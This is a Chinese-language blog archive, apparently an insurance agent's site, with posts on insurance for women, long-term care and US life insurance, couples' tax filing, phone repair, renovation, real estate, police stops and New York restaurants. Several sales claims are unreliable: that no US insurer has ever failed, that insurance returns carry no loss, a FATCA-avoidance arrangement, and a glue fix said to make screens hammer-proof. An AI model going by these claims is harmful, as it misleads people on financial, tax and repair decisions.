理由七 保险好比结婚的合同,女人与男人结婚是两个活生生的主体,虽然有了一本结婚证明作保证,但这份保证不一定永久牢固,会因一方的违约而终止合同,而保险与女人的结合完全不同,保险自始自终是忠诚的,永远聆听女主人的使唤,是一个永远不会违约的伴侣与保护。

理由八 保险是女性保持青春的礼品,在女人眼里,化妆品是青春的代名词,但这只是女人皮肤以外的美丽,而保险给女人带来更多的是安心和无忧,充足的睡眠和愉悦的心情,更能体现出女人皮肤以内的美丽,这份美丽更长久,更动人,更可爱!许多女人认为,拥有这样的青春,悠哉悠哉,不亦乐乎。

理由九 保险是女性智慧的象征,在台湾,女人对自己个人金融资产的投入兴趣比例为:购保险56%,存款52%,投资26%。在日本,聪明的女人选择男朋友里要“三高”,一要小伙子会读书,智商高。二要身材高,意味着将来孩子的基因比较好。三要保障高,意味着男朋友家庭有钱又有爱心和责任。女人自己也认为往往在谈恋爱时最会迷失方向,但对安全和金钱考虑并不比男人差,在单位里管财务的女人比男人多就可见一斑。

理由十 保险是一份实实在在的保障,在很多女人看来,钻石让生活充满诗意,保险让生活得到保证。许多女孩子既爱钻石,更爱保险,保险在女性眼里是实在的,平时可当作强制性储蓄,把钱管牢;一旦生病住院时可以报销医药费,减少家庭损失;万一发生意外时,大笔按揭贷款有人偿还;投资时可以获得稳定的收益,没有半点损失,而且免交所得税,这种满足感,是对女人最大的帮助。

如果你是一位女性朋友,看了上面的十大理由,你会有什么样的感触?你会问自己这样几个问题吗?

如果你没有,请你现在就行动起来,给自己买一份安心,让你未来的生活衣食无忧。

这篇由协力厂商撰写的教育性文章由夏芳 (Amanda Xia)提供。欲了解相关问题的更多资讯,请联系夏芳 (Amanda Xia)。对于保单、合约等相关档,其子公司仅提供英文版本。如有争议,一律以保单和合约中的条款为准。

2018-12-23 / by / in
长期护理保险常识

家中的长期护理可以由家庭成员提供,也可以由专业的家庭护理机构(home health care facility)提供。家庭护理机构的目的是让老年人尽可能留在舒适熟悉的家庭环境中,而不是去那些昂贵的长期护理机构。


什么是美国长期护理机构
虽然任何年龄层的人都可能使用到长期护理,但是多数情况下,由于老年人群中慢性病比例明显高于其它人群,且大部分因疾病生活无法自理,所以长期护理的主要服务物件还是老年人。据美国医疗保险和医疗补助中心(CMS)统计资料显示:2006年大约有900万65岁以上的老年人接受了长期护理,预计这一数字将在2020年增至1200万。

哪些人需要长期护理
美国国家老年协会认为,目前仍很难准确预测哪些人需要哪种类型及程度的长期护理服务。以下是增加长期护理使用几率的重要因素:(1)年龄:年龄越大,使用长期护理的几率越大;(2)性别:女性较男性更易使用到长期护理,主要原因是女性平均寿命高于男性;(3)婚姻状态:单身者或丧偶者更易会使用到长期护理;(4)生活方式:不注重体育锻练和膳食平衡的人增加使用长期护理的概率;(5)个人健康和家庭病史:在一定程度影响到使用长期护理的几率。
美国的长期护理系统主要分为三类:基于家庭的长期护理、社区的长期护理和机构的长期护理。

基于家庭的长期护理
家中的长期护理可以由家庭成员提供,也可以由专业的家庭护理机构(home health care facility)提供。家庭护理机构的目的是让老年人尽可能留在舒适熟悉的家庭环境中,而不是去那些昂贵的长期护理机构。专业家庭护理机构提供的系列医疗护理服务都是在客户家中完成的,这些医疗服务主要由注册护士(RN)、执照护士(LPN)、物理治疗师、言语治疗师、家庭保健助手(Home health aids)和执业医师提供。专业的家庭护理服务包括医疗或心理评估、伤口护理、疼痛管理、疾病用药的教学、物理治疗、言语治疗和职业治疗。生活支援服务包括说明日常任务,如备餐、用药提醒、洗衣、轻的家务活、工作、购物、交通出行等。

尽管长期护理的名字为“长期”,但任何形式的长期护理都有时间的长短。短期内的长期护理可持续数周至数月,适用于那些从重大疾病或伤害中刚刚康复的老年人。常见的例子是老年人双侧膝关节置换术后,转至专业护理院接受短期的护理和康复锻练后再回家。长时间的长期护理适用于那些因疾病(如脑梗塞)导致严重残障的老年人或患有阿尔茨海默病的老年人。大约70%65岁及以上的老年人一生中会使用到一种或一种以上长期护理服务。

2018-12-22 / by / in , , ,
美国长期护理保险

众所周知,当前美国的人口老龄化已成为一个日趋严重的社会问题,加上其它社会和经济方面的原因,使得几乎40%的老人要在医院或其它护理机构度过一段时间,而另有 4.5 %的老人则在那里度过余生。入住这类老年人护理机构费用目前为每年 2.5 万至3 万美元不等,但由于通货膨胀及医疗费用不断上涨等因素,已非一般人所能承担。


长期护理保险既为个人提供了年老时所需护理的保障,又作为一种良好的投资手段而为被保险人及其家庭所接受。长期护理保险现已成为美国健康保险市场上最为重要的产品之一,且品种不断翻新,充分满足了美国社会各阶层的保障需要。

美国长期护理保险的主要内容有:

一、保险责任范围

美国的长期护理保险承保被保险人在任何场所(除医院急病治疗外)因接受各种个人护理服务而发生的护理费用。这些护理服务包括:具有治疗性质的护理服务,如诊断、预防、康复,以及其它不具有治疗性质的家庭护理、成人日常护理等。对这些护理服务要求至少持续12个月,就服务性质而言,全天候24小时的特别护理和非全天的一般护理均可。

二、承保方式

长期护理单可独立签发,也可以终身寿险保单的批单形式签发,对个人投保的要求高于团体投保。通常从年龄、医疗状况和病史等几个方面来对投保人进行风险选择。健康状况差的人一般不能投保。在大多数情况下,保险人并不对投保人进行体格检查,他们基本上是根据单上投保人的陈述及由医院为投保人出具的健康状况证明来决定承保与否。承保期限按照被保险人在投保时的年龄和他们的实际需要分为 40-79 岁等年龄段。

三、保险金的给付

不同承保方式的长期护理保单,其保险金的给付方式也是不同的。分为两种:如果护理保单是独立签发的,有三种方式可供选择:

1.最高付额。即保险人对被保险人的护理费用补偿不能超过规定的给付额。

2.给付期。规定一年、数年、终身等几种不同的给付期,由被保险人自行选择。

3.待付期。规定20天、30天、60天、90天、100天或180天等多种等待期,由被保险人开始接受承保范围内的护理服务之日起算。等待期的规定实质上是免赔额的一种形式,目的在于消除一些小额索赔,减少保险人的工作量。如果长期护理保单作为终身寿险的批单签发的,保险金给付方式一般按月给付居多,每月支付保额的1-2%,累计达50%左右时停止支付。

四、保险费的收取

长期护理保险一般按被保险人投保时的年龄采用年均费率收取保险费。具体的收取费额除取决于被保险人年龄之外,还要考虑被保险人选择的给付期、等待期和保险责任范围等因素,并且对夫妇双方都投保的,可给付折扣优惠。在美国,举办该险种的各家保险公司所制订的费率并不统一。然而,有一点却是一致的,那就是保单的更新,即保险人不能因被保险人的健康状况发生变化而撤销保单。保险人可以在保单更新时提高保 险费率,但必须一视同仁地对待同等情况的全体被保险人。另外,一般保险人在开始履行给付保险金责任一定时间(通常几个月)后,被保险人无需再缴纳保费。

五、保单中的其它重要条款

主要是通货膨胀条款和“不没收价值”条款。前者主要是为应付通货膨胀,赋予被保险人定期购买额外保险的权利或规定日给付额可以 5% 的年增长率(单利)增加。后者是当被保险人作出撤销其现存保单的决定时,保险人向其提供“不没收价值”给付,即将积累的现金价值获得减额缴清保险的保障,以原保单“不没收价值”作为净保费,而无须另缴保费。

这篇由协力厂商撰写的教育性文章由夏芳

2018-12-22 / by / in
赴美购买医疗、人寿保险 有何好处?

以下两个因素促使中国人喜欢到美国购买美国保险。

美国买保险财产保护

把已赚到的资产完整地传承给子孙后代。美国的肥咖条款规定:一旦成为美国公民或拿绿卡,就要申报海外资产,全球追税。做EB-5移民的华人,在大陆大多有大量的资产,面临着缴纳大量的税金给美国政府。因此造成很多妈妈带孩子来美读书、拿绿卡、等公民;先生不办绿卡,财产权在先生身上,从而避开海外资产税。

财产权给了先生,先生又不在身边,这样太太和孩子都缺乏保障。如果买个美国的遗产保险,假如先生过世时,在美国的太太可以领到1,000万至1,500万的理赔金,这是免税的终身收入,不受肥咖条例约束。

美国买保险,司法豁免:

在美国,人寿保险现金值不受官司追讨,享受司法豁免的保障。中国富人买美国的人寿保险,可以分散风险。世界500强美国企业安然倒闭后,其总裁的全部资产被没收,用于清偿债务,而他购买的3,700万养老金保险,被保持了下来。

美国人寿保险是有价证券,可以抵押保险公司的贷款。这个贷款手续比银行贷款来得容易。另外,美国有七成65岁以上的老人,将来需要长期照护,很多人寿保险和长期照护结合在一起,生前用人寿保险来支付长期照护,死后继承人再领剩余的死亡理赔。

美国保险有储蓄的功能,享有税务优惠。美国税法规定过世后9个月就能用现金付清遗产税。

1.为什么要买美国的保险?
a.美国的人寿保险价格低、保险便宜,保险成本只有中国的六分之一。
b.保额高,美国居民可以保到6,000万美金,中国居民可以保到2,000万美金。
c.审核条件宽,举例来说,控制好的高血压仍可得优等体位,控制好的糖尿病仍可得标准体位。甚至乙肝也可以批准。
d.法律保障优,在美国人寿保险受到美国法律严格保护。而美国法律是以保护消费者为主导。中国居民保单持有人,享受与美国居民保单持有人的同等待遇。

2.美国联邦政府不是规定只有美国公民和绿卡持有人才能购买吗?这个保险不会跟政府政策冲突吗?
联邦政府没有规定保险公司只能卖给美国人,风险是每个保险公司自己承担的。美国只有几家可以接受外国人投保,但是每一家条件不一。

3.美国的保险公司允许破产倒闭吗?如破产的话会怎样?
有美国历史以来还没有一家保险公司倒闭过,即使倒闭了,每一张保单都有州政府再保险。我们代理的公司全是A等级的公司,不仅财务稳定而且都是100年以上的历史,完全可以放心投保。

4.保险购买之后,会不会因为人不在美国出意外了而不赔偿?
美国保险在投保的时候审批严格,既然是卖给外国人,就不会在国外出意外不赔偿。

5.外国人和美国公民赔付的条件一样吗?有没有一些针对外国人的条款,如有请详细告知。
保单条款是一样的,没有什么特别的。只要前两年不是自杀死亡、意外、各种疾病死亡都可以理赔。

6.是否可以一次性付款,可以使用银联卡?
可以一次付款。但是不能使用银联卡。可以由不同人汇款到被保人的保单里付保费。

7.领取身故赔偿需要缴哪些税,需要缴多少钱?
不用付税。美国政府只对人寿保险的赔偿金不上税。

8.身故需要提供哪些证明?
提供死亡证明还得经过美国领事馆公证,受益人也要公证之后连同保险公司申请书一并给保险公司。保险公司会在一个月之内开支票给受益人。

9.如果受益人在中国,怎么领取赔偿金?
保险公司会开出支票给受益人,支票必须存入美国银行账户,再从美国银行汇款回去中国。外国人在美国开户非常简单,只要用护照就可以开户。将来保险费也可以由这个账户支付。

10.如果保险经纪已经退休了,那么找谁来理赔呢?
美国是一个欢迎移民的国家,所以很多公司像水电公司、电话公司、医院等等都有会讲多种语言服务的。保险公司也有中文翻译服务的,这点倒不用担心。

11.将来领取保单里的钱是否需要缴税?
领取保单里面的钱,是藉用保单里的钱,只要不是全部领光是不用付税的。如果想把保单结束,把保单的钱全部一毛不剩的拿走,那么就要扣掉开始交的保费;有多的利息要付税。

12.美国指数回收保单为什么可以提领终身收入呢?
美国指数回收保单,是保本,加上全球指数(美国指数、欧洲指数、恒生指数),选表现最好的两种指数。

2018-12-22 / by / in
夫妻应如何报税

问:结婚才二年多的美美和小华,很快的今年5月,报税的季节又快到了。精打细算的美美怎么算,都觉得夫妻两人若是选择“家户申报制”,也就是在同一张申报书上办理申报的话,会比婚前两人分开申报时来得不划算。为了想替小家庭多省一点税,美美心想,能不能干脆两人还是分开报税


答:美美应注意,实务上,除了夫妻结婚、离婚当年度,或是二人符合民法规定分居达6个月以上,或二人已向法院声请宣告分别财产制,以及依家暴防治法取得通常保护令者等等以上所规定的特别情况下,二人可各自办理所得税申报外。原则上,夫妻仍应采取“家户申报制”合并申报及缴税,必须在同一张申报书上办理申报。

国税局现行作法,若美美在不清楚法律规定情况下,二人真采取分开申报,最后造成短报或漏报情况,国税局依规定得处以所漏税额二倍以下罚锾。

实务上曾发生有夫妻解释说是因办理网路报税时,程式没能有效提醒,他们并没有逃税的意思。但最后国税局还是认为,夫妻在透过网路申报查调该年度所得及扣除额时,原则上系统都会并同提供配偶资料,加上报税系统也有提醒的相关文字,故即使二人不是故意逃税,最后还是被依所漏税额处以一倍的罚锾。提醒美美还是小心,先问过法律专业人士比较好。

2018-12-16 / by / in ,
【生活百科】史上最強悍的手機修復術:手機屏幕碎了 用這招 15分鐘修復(生活DIY)

 

一不小心,手机掉地上

哐当····碎屏了····

生活百科

先别急着拿出去修

毕竟市场上修理碎屏的价格

大概是手机价格的三分之一左右

生活百科

换个屏幕花费可真不少

不如先试试下面这个方法

或许能帮你省下一大笔钱呢~

生活百科

 

材 料 :玻璃胶、刮片、紫外线灯

步 骤 :

1、首先确保手机关机,将玻璃胶涂抹在碎裂的屏幕上(如果有注射器,用注射器能够涂抹得更均匀)。

生活百科

2、用刮片将玻璃胶均匀涂抹在屏幕上,留下薄薄的一层玻璃胶。

生活百科

3、用紫外线灯照射屏幕10-15分钟,让胶水固化。

生活百科

来看看成果吧~

不仅裂痕没有了,屏幕还比以前更坚固,

用锤子敲也没事!

当然,大家也别真的去拿锤子敲····

生活百科

 

手机充电

相信很多朋友都遇到过手机充不进电或者充电慢的问题,怎么解决?别急着拿去修,这个地方清理一下,充电速度立马快很多~

生活百科

材料:棉签一支、牙签一支、酒精少量

步骤:

1、取少量棉签上的棉花,将其缠绕在牙签上,为什么用牙签呢,因为牙签较细,方便插入充电口进行清洁~缠好后蘸取少量酒精。

 

生活百科生活百科

2、手机关机后,将牙签插入充电口中进行清洁,很多时候充不进电或者充电速度慢,都是因为充电口灰尘太多,用棉签蘸取酒精将充电口的灰尘拂去,等酒精挥发后就可以正常充电了。

生活百科

充电线损坏

手机充电线用久了,橡皮套容易撕裂,火线暴露在外,如果不及时修复,可能会造成意外。

生活百科生活百科

准备一小截吸管,从吸管中间剪开,将吸管包裹破损的地方,然后用橡皮筋系紧即可。

生活百科

更简单的也有!直接用创可贴包裹破损的橡皮圈即可~

生活百科

除此之外,还可以用彩绳进行修复,好看又安全!将彩绳缠绕在充电线上,每缠绕几圈就打一个结固定,这样重复编织,将破损的橡皮套覆盖后就可以了。

生活百科

有耐心的朋友可以用缠绕整条充电线,不同颜色混搭,打造一条独一无二的彩色充电线~

生活百科

 

2018-12-08 / by / in
美国房屋装修,如何与总承包商沟通

家建工程主要涉及到三方:屋主、设计师和总承包商(包工)。屋主和设计师的沟通,其它系列文章已有介绍,本文主要介绍屋主和总承包商的沟通和屋主的权益保障。


房屋装修,找3个施工队做报价

屋主寻找施工队一般通过以下方式:朋友推荐为主,网络查询为辅,也可以勘察工程现场,看施工队的实际操作或者广告展示。

登录网站http://www.cslb.ca.gov/,输入施工队的名称和执照号(Contractor License Number),查看信用和以前屋主的评价。

屋主同时找3个施工队,请他们报价,作对比参考。很多屋主倾向于选报价最低的,可是“最低的”不一定是最好的。“报价”不能作为选择施工队的唯一参考因素。

美国房屋装修,怎样挑选施工队?

挑选施工队可以参考以下3点:
①施工质量,屋主对施工质量要满意。
②施工队的信用(Credit)。施工质量可以观察到,可是信用怎么知道呢?询问施工队以前合作过的屋主,施工队是否每天按计划完成工程?做得好不好?工作后,是否每天把卫生打扫干净?是否遵守施工合同?信用好不好?当然,也存在前屋主不愿意推荐,不愿意背书的情况。
③看工程报价。

美国屋主保障权益,获得前屋主的联系方式

和总承包商询问以前合作过的屋主的联系方式,承包商一般都愿意配合,给出联系方式。当然不排除他挑几个最满意的项目,提供联系方式;干砸的可能不提。

美国屋主权益保障,对总承包商面试

屋主对总承包商面试,主要关注3点:是否有执照(License);是否抱怨多;面试时交谈是否愉快。在网站Contract board(http://www.cslb.ca.gov/)查询,输入名称和执照编号,查看留言评价。有一个、两个不好评价,可以接受。如果不好评价较多,屋主就要打个问号,小心注意了。

面试时可以询问:公司成立多久?有没有永久的、固定的地址?经常变动地址的公司不可信。是否有人抱怨?这些都有助于了解公司的真实情况。把图纸给总承包商看,看他懂不懂;询问其对工程的看法;什么计划;有什么经验。

即便屋主是第一次做家建,仍然可以依据面谈的情况判断。有的总承包商很固执,开始就谈不来,这就无法合作。

还有一点很重要,总承包商能否对发生的意外事故负责?是否给工人上了意外保险——劳工灾害补偿(W.C.即Workers Compensation)。工人发生意外时,怎么承担?谁来承担?

屋主勘察美国房屋承包商工地现场

家建工程开始后,要经常到工地现场看看,检查施工情况、施工质量和进度。如果屋主要改动图纸,房屋工程有变动,要及时和总承包商沟通。比如,增加一扇窗户,或者多建一面墙。合作愉快的工程队,这些都不是问题。

2018-12-07 / by / in , ,
中美房地产 这些差异你应该要知道

中国人大举转移资产,很大一部分用在在海外的房地产方面。根据全美地产经纪商协会(NAR)发布的一项统计,显示从2014年4月至2015年3月,中国买家共花了286亿美元购买美国房,这个数字比福布斯统计2013年时的123亿整整翻了一番不止。

越来越多的美国房地产经纪把业务指向中国人,还结合投资移民业务,或是不同的投资组合。这股外移潮除了寻求资金安全之外,中国的不健全房地产制度也迫使民众向外求助。

中美房地产制度有何不同?就是本文要探讨的问题,大致能归纳出9项差异,给有意来美买房、投资的中国人对美国房地产有初步的了解,这些差异通常也是吸引中国人买美国房地产的因素。

一、产权:美国产权属于私有并永久

首先,中国房地产属于政府财产,个人拥有的住宅产权是70年期限,一般商业房产期限只有50年。但是美国却完全相反,房地产属于私有并无期限,并且买下房产的同时也包含土地产权,美国也没有限购房地产,但是个人贷款买房有数量限制。

二、房地产制度:美国有健全透明的制度

在中国买房有许多不透明机制,例如房源讯息、定价标准、中介佣金等等。而美国的房地产交易过程有许多第三方机构监管不同环节,比如有产权保险公司、估价师、房屋检查、公证公司、银行还有经纪人(中介)等等在把关,基本整个交易流程都是按表操课,非常有章法。在文件方面虽然繁多,但都有统一格式,且受到法律保障。

美国房地产交易需透过房地产经纪人,他会协助买、卖家完成整个交易。(Fotolia)
美国房地产交易需透过房地产经纪人,他会协助买、卖家完成整个交易。(Fotolia)

三、房产与学区:美国城市与学区不相同

在中国,学校的生源,通常以城市范围来划分,但是美国却不尽相同。很多中国人买美国房是为了子女教育,但是要注意学区所含盖的范围,美国学区划分与城市不相同,有些学区横跨了好几个城市。这点在买房前要问清楚地产经纪,或许隔一条街价格就差很多,就是因为好、坏学区的影响。

四、房产税:美国有地产税,而且不低

买美国房就要缴纳房地产税,在中国却没有,台湾的房产税还分成地价税、房屋税两种。美国房产税通常为1~3%,各城市都有自己不同的标准,加州差不多在1.2~2.0%之间。根据加州13号法案,房产税每年增长不能超过2%,不会随房价而飙涨,除非房屋产权易主,才会按照最新的税率计算。

五、支付中介费用:美国由卖家支付

买美国防必须通过房地产经纪或中介,且通常收取佣金5%~6%,由买家经纪和卖家经纪均分,这笔费用由卖家支付,在中国却是买家支付。有些州规定买、卖方经纪必须不同人,加州却没有这项规定,但一般建议分开为好。

六、房源系统:美国有统一透明系统

美国的房产(二手房)信息都公开在共享系统MLS,每一位房地产经纪都会把自己代理的房产上市到这里,除非应卖家要求不上市。所以在美国你几乎可以对当前上市的房产一目了然,数量、开价非常透明,可以相互比价。但是在中国基本上房产公司只销售自家代理的房产,台湾大致也是如此。至于新房销售,在中美都没有统一的发布管道,需靠买家各自寻找。

七、城市与乡村:美国的住商通常分开

在亚洲普遍城乡差距大,中国尤其明显,所以就算城市拥挤,民众还是喜欢,因为在城市中生活更便利,在乡村生活有种种的不方便。住在美国你会发现这点差异缩小了,因为每个区域基本都可以有充足的生活机能,具备购物、学校、医院、餐馆等需求,不需要什么事都往市中心跑。

一般来说,美国城市的市中心(Downtown)只是商业区域,不与住宅区域混合,但例如纽约、旧金山这样的大都会区,住商混合情况也很多。

八、房型差异:美国以独立房为主

美国的房地产市场以二手房、独立房为主流,而且有些房产对于喜爱新房的中国人来说过于老旧,可能是五、六十年代兴建的。美国独立屋除了居住空间,通常包含车库、前后院,面积比中国或台湾的独立屋都大得多。标准的美国独立屋,与邻居都有一段距离的分隔,但在中港台这种房型通常称为别墅,如果是墙壁相连的房产在美国称之“联排屋(Townhouse)”。

其次,中国有毛坯房和装修房的差别。毛坯房只有水泥墙、水泥地和管子,没有任何装修,买房者必须完成内部规划与布置。而在美国没有毛坯房,所出售房产都是可立即入住,包含厨房炉具、空调系统等等,按照中国标准,都属于精装修。

九、房贷方式:美国要信用且方式多元

美国当地人买房几乎是贷款,绝大部分是申请15年或30年固定利率的贷款。美国还有重新贷款制度,允许二次以上的贷款,只要利率调降,很多人就会重新办理,以减轻利息,这点在中港台都没有。美国的贷款也有浮动利率,但很少人申办。

在美国贷款主要看信用分数,也就是要建立财务信用,所以非绿卡人士申请贷款比较困难,但因应近年需求,越来越多银行也推出外国人贷款项目,唯首付额比例较高,须看本国的资产证明。另外,在美国贷款买房可以抵税,可降低报税基数。

十、房屋面积:平方呎与平方米

中美计算房屋面积的单位也不同,在美国用平方呎来计算房屋的面积,而中国是用公制平方米,1平方米等于10.764平方呎;在台湾则常用坪,1坪等于3.305平方米。以美国独立屋来说,分别有住宅面积和地块面积,住宅面积就是实际住房面积,地块则是整个地产产权的面积,包含车库、花园、泳池等区域。

2018-12-06 / by / in , , ,
【美国交通】在美国开车必知的常识

被警察拦下时千万别动

美国法律规定,当驾车被警察叫停后,车里所有的人都要坐在原位不动。然后,驾驶员摇下车窗,把手放在方向盘上,让警察看到你手里没有拿枪或者其他工具,然后等待警察的进一步指令。


曾有位留学生在高速公路上被警察尾随多时却浑然不知,待到几部警车团团包围时,他又在慌忙中打开车门下车,想向警察解释,结果立刻被几名警察用枪指著,命令他回到车里坐好。

原来,这位留学生并没有意识到后面尾随的警车是冲着他的,警察则认为他是拒捕逃窜,而开车门下车的行为有袭警之嫌,这种情况下警察为自卫有权开枪。因此不了解美国的法律,可能会无辜丢掉性命。

根据美国治安法条例,为保护警察安全,在警察叫停时,一定要停下,停下后不可以乱动,尤其不可以把手伸进包里或者衣服口袋,因为警方会认为你试图拿抢或其他威胁性武器。如果不听警察指令而乱动,让警察感到自己受到了威胁,那么,警察就可以开枪。

在美国开车,如果万一“遭遇”警察,首先必须服从警察命令。听到警车鸣笛必须尽快停车,坐在车里,双手放在方向盘上等警察过来。

无论你认为自己有无违规都不要轻举妄动,只要将车窗摇下、坐等警察处理。他会先用对讲机与总局通话,也许核查一下该车是否为报失车辆。过一会才走上来要求你出示驾照、车辆注册证和保险单,这时你才可以去拿驾照和保险单。

不要与警察发生争执

当警察要你签署出庭通知时,并非表示你认罪,而是同意出庭与警察在法庭上辩论。签字并非承认自己有错,但如果不签字,警察可以用妨碍公务罪逮捕你。遇到这种情况最好冷静地与警察合作。

纽约地区曾有位华人因为泊车纠纷,见开罚单的女警会讲中文,便急忙拉住她求情。远处警察见他们拉扯,以为同事面临威胁便赶来支援,殴打了这位“袭警嫌疑人”,结果令这位新移民饱受皮肉之苦。

在美国不管是不是你的错,都不要与警察争吵,指著鼻子谩骂警察的行为在美国属于攻击行为,这很可能会以妨碍公务罪遭到拘捕。殴打警察更属于重罪,可以判处一年以上的有期徒刑。如果你驾车违规,想塞点钱给警察过关,这在美国属于贿赂行为,同样会遭到拘捕。

不要大声喊叫

如果遭遇警察执法,千万不要大声叫喊,更不可粗言谩骂,因为“言语抵抗”也属于抵抗行为之一。

曾有一对来美国旅游的中国老夫妇因为琐事在华盛顿国会山前大打出手,被国会山警员发现,但由于语言不通,中国夫妇大声叫喊,又引来6、7名警员,最后被扣押,当晚他们戴脚锁、手铐,被与毒贩和妓女关在一起。

不懂英语不要怕,因为拦查并不意味着要逮捕,此时你可以打电话给懂英语的亲人或朋友,请他们透过电话做翻译,或者看到有路过的华人,也可向他们求助。这时最重要的是保持冷静,不要有过激的言语与举动,并要充分配合警方的调查。

2018-12-03 / by / in , , , , ,
【纽约餐馆】鲍比·范纽约老式牛排馆 Bobby Vans

走进曼哈顿东54街的Bobby Van的牛排屋,优雅舒适的气息扑面而来,店内多木制装潢,飘着轻柔的音乐,灯光是精心调过的,不是特亮,却很有情调,刚好把皮肤照得很好看。

老板约瑟夫‧史密斯是餐馆的灵魂人物。红脸膛,淡眉毛,有型的头发整齐地拢在脑后。笔挺的黑西装内,衬衫雪白,右手腕上,卡地亚的金手环闪闪发光。他不仅带来了爱尔兰人的好客之道,并且把服务的水平拔到了和名声一样的高度。

2018-11-30 / by / in
【纽约餐馆】congee-village 粥之家(718) 888-9799

 

纯正的潮式砂锅,上桌的适合,粥正在咕咚咕咚的冒着热气,赶紧舀了一小碗,除了烫,更让小蓝感叹的是:真!酥!啊!这么酥的粥,一定是下了功夫了!首先得选上好的粳米用热水泡,然后入锅熬,熬制的过程中还需要不停的搅拌,才能达到这么酥的口感!而且有那种熬得很是时候的微微的黏嘴感,但没有很黏。

2018-11-30 / by / in
【纽约餐馆】台湾武昌好味道Taiwan Pork Chop House

台湾小吃名闻遐迩,兼顾美味与健康的饮馔之道。台湾汇聚着来自各地的人们,独特的小吃就有几百种,主要是以米为原料,以炸、蒸、煎三种技法使用最多。台湾小吃,让人回味无穷。

2018-11-30 / by / in
【纽约餐馆】“海人”海鲜 Hae-In Sushi and Sashimi

韩国料理除了拌饭、烤肉、辣泡菜,还有在餐桌占很大比重的海鲜类美食。因韩国近海,得天独厚的条件让韩国人在韩式海鲜料理上独树一帜。很多人都认为生鱼片是日本的传统食品。然而,从三国时代开始存在的生鱼片,在高丽末期已被广泛推广,到朝鲜时代也是继续被流传,变成宴席上不可或缺的菜肴。

2018-11-30 / by / in
【纽约餐馆】纽约Cajun Sea「辣」海鮮

不要以为Cajun美食只是受到西方人的喜欢,其实作为一个中国人来说,当你吃过Cajun美食后,也会情不自禁的疯狂爱上它。

如果你不相信如此美味的诱惑,就请先去品尝以下这几道Cajun美食吧,吃过之后,简直令人不能自拔的想念与留恋。

2018-11-30 / by / in
【纽约餐馆】纽约“食客”海鲜烧烤总店

纽约“食客”海鲜烧烤总店比邻“食客-海之故事”(Bada Story)寿司店,现寿司店更名为“食客 Next Door”。老板朴辙镐将完全独立的两个店从中间打通,客人可以任选完全不同的菜单,共享烧烤和寿司美味。同时“食客 Next Door”还提供全新的午餐和晚餐套餐菜单。

2018-11-28 / by / in
【金牌律师】纽约著名工伤大律师

纽约著名的出庭工伤大律师、纽约皇后区亚裔律师协会创始人及会长金起成大律师。 1987年,他毕业于著名的美国西点军校。 96年他从长岛著名的Hafstra大学法学院毕业。

做为出庭大律师,金律师有着丰富的庭审、辩护经验,这些经验使得他经手的案件都有着客户满意的结果。

在2008年,金律师发起成立了纽约皇后区亚裔律师协会。让美国的司法界有更多的亚裔声音。

2018-11-25 / by / in , ,
【纽约餐馆】易香川:香中有辣

除了有美味的剁椒鱼片,老板还像我们推荐了鲜香的香辣蟹、使用自制的黑椒汁和锅巴做成的黑椒汁锅巴、以及温补的羊肉煲和铁锅鸭头。在这里我们大快朵颐,尽情享受美食带来的味觉体验。

不仅如此,这里还有由西藏药材等20多种中药材调制的滋补火锅,可以滋补、活血、补身体,甚至是美容紧肤,简直是营养火锅,不仅适合冬天进补,也是平常滋补养生的好选择。而喜欢吃辣的人还可以选择麻辣锅。

 

2018-11-25 / by / in
【纽约餐馆】Thrid Floor Cafe:每一道菜都是一个精品

这家名不见经传的韩国街最老酒吧Thrid Floor Cafe已经有20年的历史,他用心的打造每一道菜肴,他的每一道菜都是一个精品。

喜爱泡菜,可不能错过这里结合西式风格的芝士焗饭,切碎的泡菜搭配浸着泡菜酱汁的米饭,焗上一层芝士,搅拌在一起,混合出令人惊喜的口感。而牛肉味的芝士焗饭又是另一种令人无限回味的口感。

除了可口的佳肴,这里的美酒也是令人惊艳。 Thrid Floor Café的水果酒不同于其他酒吧使用罐装果汁,这里用现榨果汁调和,搭配精致的酒器,赏心悦目的样子光是看看就先醉了,贴心的是还可以根据个人喜好调节酒精浓度。

这里吸取纽约顶级酒吧的精华,不断地创新和研发,每年都有两次酒水更新。

为了满足不同客户的需求,每周三都是古典音乐之夜,伴随舒缓的音乐体验美酒佳肴,周四则是邀请不同DG举办Party,享受基情四射的动感夜晚。

周到的服务,贴心的设计。无论是美酒还是佳肴都用心打造成了一道道精品。或许这就是为什么,Thrid Floor Cafe成为了韩国街上唯一一家经营了20年的酒吧吧!

2018-11-25 / by / in
【纽约餐馆】味蕾新体验  “新亭”水晶盘烧烤

水晶盘BBQ烧烤可谓独特,更是健康。传统铁烤烧烤很容易喷油烟或把肉烤焦,而明亮通透的水晶盘给人感觉很干净,烤肉既不黏盘也不会烤焦。水晶盘盘口有漏油口,水晶盘放在桌子上并不是完全水平,稍稍倾斜,在烧烤过程中,油、水可通过水晶盘边上的漏油口,流向桌子上事先备好的容器中。用水晶盘烧烤能充分保留烤肉的原汁原味,肉质鲜嫩爽口,一点都不油腻。而且烧烤过程中不用换盘,又免去了“烟熏火燎”之苦。

2018-11-25 / by / in
【纽约餐馆】IL Bacco 餐厅的诚意美食

走进Il Bacco,立刻就会被它华丽辉煌而又高端大气的店面设计所震撼。幽黄灰暗的黄色灯光给了诺大的厅堂几分浪漫与神秘。意式建筑风格让您还未就餐,俨然有了身处意大利的感觉。一层主餐厅相当气派,悬挂的吊灯为已然大气的风格增添了几分姿色。餐巾和餐具均是按照意大利的风格严格摆放。门口的酒吧台,则摆满了各式各样的美酒。

2018-11-25 / by / in
【纽约餐馆】独具匠心韩国料理 烧酒屋SOJU HAUS

每当夜幕降临,华灯初上,纽约曼哈顿32街的SOJU HAUS烧酒屋,便迎来一天中最繁忙的时刻,在霓虹闪烁的夜空下,就像一颗来自韩国的星星,它发挥着自己独有的魅力,闪亮登场,微笑的迎接着来自四面八方的宾客。

走进SOJU HAUS烧酒屋,首先感觉装修很有独到特色,略有些暗红的砖墙,暗色调的实木桌椅,墙壁上木质框架上摆放着酒瓶、透明玻璃瓶、不銹钢水壶,房顶棚还布有100多个铁质小水桶配有橙、绿、蓝、红不同颜色的吊灯。有一面墙壁上,整面墙都采用了粉笔画的壁画,壁画所展现的都是一些能凸显纽约城市文化的特色,画有纽约著名又古老的百老汇街,有小酒馆、街头艺人,还画有人们就餐的情景。有多个射灯、吊灯与落地大玻璃窗一起在大厅交相辉映,这样的创意装修,很自然的将烧酒屋划分为4个不同风格的就餐区域。

2018-11-25 / by / in
【纽约餐馆】传统 正宗 美味 日本料理馆:初花

